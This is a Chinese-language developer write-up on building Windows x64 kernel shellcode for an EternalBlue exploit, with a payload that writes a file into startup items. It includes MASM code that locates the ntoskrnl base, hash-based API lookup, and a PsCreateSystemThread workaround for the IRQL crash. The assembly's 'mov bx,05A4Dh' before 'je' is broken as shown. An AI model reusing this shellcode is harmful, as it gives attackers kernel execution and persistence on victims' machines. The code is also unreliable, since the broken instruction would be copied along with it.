编写Windows Kernel Shellcode

网上流传的永恒之蓝漏洞利用代码中，关于内核shellcode部分，大部分都是利用APC注入的。

最近有个想法，直接利用内核代码执行权限，来写文件，于是就抄起了VS，开始写shellcode，开始以为和R3下面写shellcode一样简单…

新建个驱动的项目，按照下面修改项目的属性，然后动态获取API，再调API完成自己的功能。

// C/C++
// |-常规
// |  |-调试信息格式：程序数据库（/Zi）
// |  *-SDL检查：否（/sdl-）
// |-优化
// |  |-优化：使大小最小化（/01）
// |  |-内联函数扩展：已禁用（/0b0）
// |  |-启用内部函数：否
// |  |-优选大小或者速度：代码大小优先（/0s）
// |  *-全程序优化：是（/GL）
// |-代码生成
// |  |-基本运行时检查：默认值
// |  |-安全检查：禁用安全检查（/GS-）
// |  *-启用函数级连接：是（-Gy）
// 连接器
//  |-常规
//  |  *-启用增量连接：否（/INCREMENTAL:NO）
//  |-调试
//  |  |-生成映射文件：是（/MAP）
//  |  *-映射文件名：mapfile
//  *-  优化
//     |-引用：是（/OPT:REF）
//     |-启用COMDAT折叠：是（/OPT:ICF）
//     *-函数顺序：FunctionOrder.txt
// -[注：FunctionOrder.txt控制编译器按照指定顺序将COMDAT放到映像文件中]

项目属性配置好以后，开始写shellcode，计算要使用的内核API的名称hash，为了方便计算，我写了一个简单的MFC程序

问题一：获取windows7 x64 nt基址

刚开始遇到的第一个问题就是如何获取nt的基址，在内核中所有api都是从ntoskrnl.exe中导出的。

参考这个git项目 https://github.com/worawit/MS17-010.git，里面有内核shellcode的asm文件，文件中有获取nt基址的部分。

但是这个asm文件是NASM的语法，导致我用vs直接编译不了，还需要弄个nasm的编译环境。

最后我修改为MASM版本，最终得到的获取ntoskrnl.exe基址的MASM汇编如下：

.CODE
PUBLIC _getNtBase
_getNtBase PROC
  push rbx
  mov rax,QWORD PTR gs:[038h]
  mov rax,QWORD PTR[rax+04h]
  shr rax,0Ch
  shl rax,0Ch
_find_nt_walk_page:
  mov rbx,QWORD PTR[rax]
  mov bx,05A4Dh
  je _found
  sub rax,1000h
  jmp _find_nt_walk_page
_found:
  pop rbx
  ret
_getNtBase ENDP
END

https://paper.seebug.org/papers/scz/windows/201704171416.txt 这个链接中也有对永恒之蓝获取nt基址的分析。

把以上代码保存为demo.asm，添加到创建的vs驱动项目中，右键该文件，选择属性，修改项类型为： Mircrosoft Macro Assembler

这段汇编代码，导出了一个名为_getNtBase的函数，在vs项目中使用这个函数，需要用extern声明一下才能使用

extern HMODULE _getNtBase();

问题二：VS编译64位平台汇编文件

然后开始编译我的vs项目，在编译时，又遇到第二个问题： vs项目中的指定函数编译顺序的FunctionOrder.txt，对这个asm中的函数不起作用。

  Address         Publics by Value              Rva+Base               Lib:Object


0000:00000000       ___safe_se_handler_table   0000000000000000     
0000:00000000       __guard_fids_count         0000000000000000     
0000:00000000       __guard_flags              0000000000000000     
0000:00000000       ___safe_se_handler_count   0000000000000000     
0000:00000000       __guard_fids_table         0000000000000000     
0001:00000000       Entry                      0000000140001000 f   main.obj
0001:00000048       EntryPoint                 0000000140001048 f   main.obj
0001:00000354       Hash_CmpString             0000000140001354 f   main.obj
0001:00000378       GetFunAddrByHash           0000000140001378 f   main.obj
0001:00000420       Unload                     0000000140001420 f   main.obj
0001:00000430       DriverEntry                0000000140001430 f   main.obj
0001:00000470       getNtBase                  0000000140001470 f   demo.obj
0001:0000049a       __C_specific_handler       000000014000149a f   ntoskrnl:ntoskrnl.exe

无论我怎么调整顺序，这个函数用于排在main.obj中所有函数后面，这意味着，我在提取shellcode时，必须把一些main.obj中无用的函数也提取上。

最后我的解决办法也很粗暴，先用masm编译这个demo.asm， 拿到二进制机器码，再拼后面直接拼接我的shellcode…

这个demo.asm获取nt基址的代码执行完，结果最终放在rax中。

问题三：IRQL级别

IRQL级别问题，这个也是卡了我时间最久的，我的shellcode思路如下：

1.获取需要的api
2.初始化需要的字符串
3.调用IoCreateFile
4.ZwWriteFile
5.ZwClose

以上思路用VS写，直接编译成驱动后，安装并运行，测试功能ok！

然后我用IDA提取shellcode，使用windbg强制改RIP，跳转到我shellcode中执行。 参考一位同事写的一篇笔记《内核调试shellcode》https://www.cnblogs.com/goabout2/p/7875372.html

强改RIP后，shellcode前面部分执行ok，但是执行IoCreateFile这个函数的时候，就蓝屏。 一直中断到内核函数内部。

上面windbg断下后，看起来是rax取到了错误的值导致的，甚至还分析了wrk中IopQueueThreadIrp、IopParseDevice这两个函数…

经过分析，排除是参数的问题，因为前面我写完shellcode，直接编译成驱动文件，安装执行，功能都ok的。

怀疑是IRQL级的问题，使用!irql命令可以查询处理器的IRQL级别，漏洞触发时的IRQL级别为2 = DISPATCH_LEVEL

而我shellcode中使用的IoCreateFile这个函数所需的IRQL级别为PASSIVE_LEVEL。

为了测试，是不是IRQL造成的，我尝试强制在shellcode调用IoCreateFile前面，添加一个降级的代码，如下所示：

   // 获取当前IRQL级别
   KIRQL CurrentIRQL = My_KeGetCurrentIrql();
   // 修改当前IRQL级别为PASSIVE
   if (CurrentIRQL > PASSIVE_LEVEL)
   {
       My_KeLowerIrql(PASSIVE_LEVEL);
   }
   My_KeGetCurrentIrql();

再次调试分析，并查询降级后的IRQL级别，确认为LOW_LEVEL了，也就是PASSIVE级别。

无奈，运行到IoCreateFile，还是蓝屏了…

分析蓝屏信息，结果还是说我IRQL级别为2，说明我那个修改不生效！！

不能主动降IRQL级别，除非这个级别是手动提升的。否则就会导致

经过参考一些资料，如何在DISPATCH_LEVEL运行PASSIVE_LEVEL的代码：

• https://community.osr.com/discussion/235732
• https://www.oipapio.com/cn/article-6485155
• https://blog.csdn.net/liyun123gx/article/details/30500703
• https://bbs.pediy.com/thread-84588.htm

经过一番查找资料，大家都是推荐创建一个内核线程来做的，于是我就将shellcode最开始的代码改成了创建内核线程

VOID Entry()
{
    HMODULE hKeyModule = getNtBase();
    typedef NTSTATUS(*PtrPsCreateSystemThread)(
        _Out_      PHANDLE ThreadHandle,
        _In_       ULONG DesiredAccess,
        _In_opt_   POBJECT_ATTRIBUTES ObjectAttributes,
        _In_opt_   HANDLE ProcessHandle,
        _Out_opt_  PCLIENT_ID ClientId,
        _In_       PKSTART_ROUTINE StartRoutine,
        _In_opt_   PVOID StartContext
        );
    PtrPsCreateSystemThread My_PsCreateSystemThread =  (PtrPsCreateSystemThread)GetFunAddrByHash(HASH_PsCreateSystemThread, hKeyModule);
    HANDLE hThread;
    My_PsCreateSystemThread(&hThread, 0, NULL,  NtCurrentProcess(), NULL, (PKSTART_ROUTINE)EntryPoint,  hKeyModule);
}

在EntryPoint函数中执行我IoCreatefile的一些操作！！ 终于这一次不蓝屏了，文件成功被写入了启动项！！！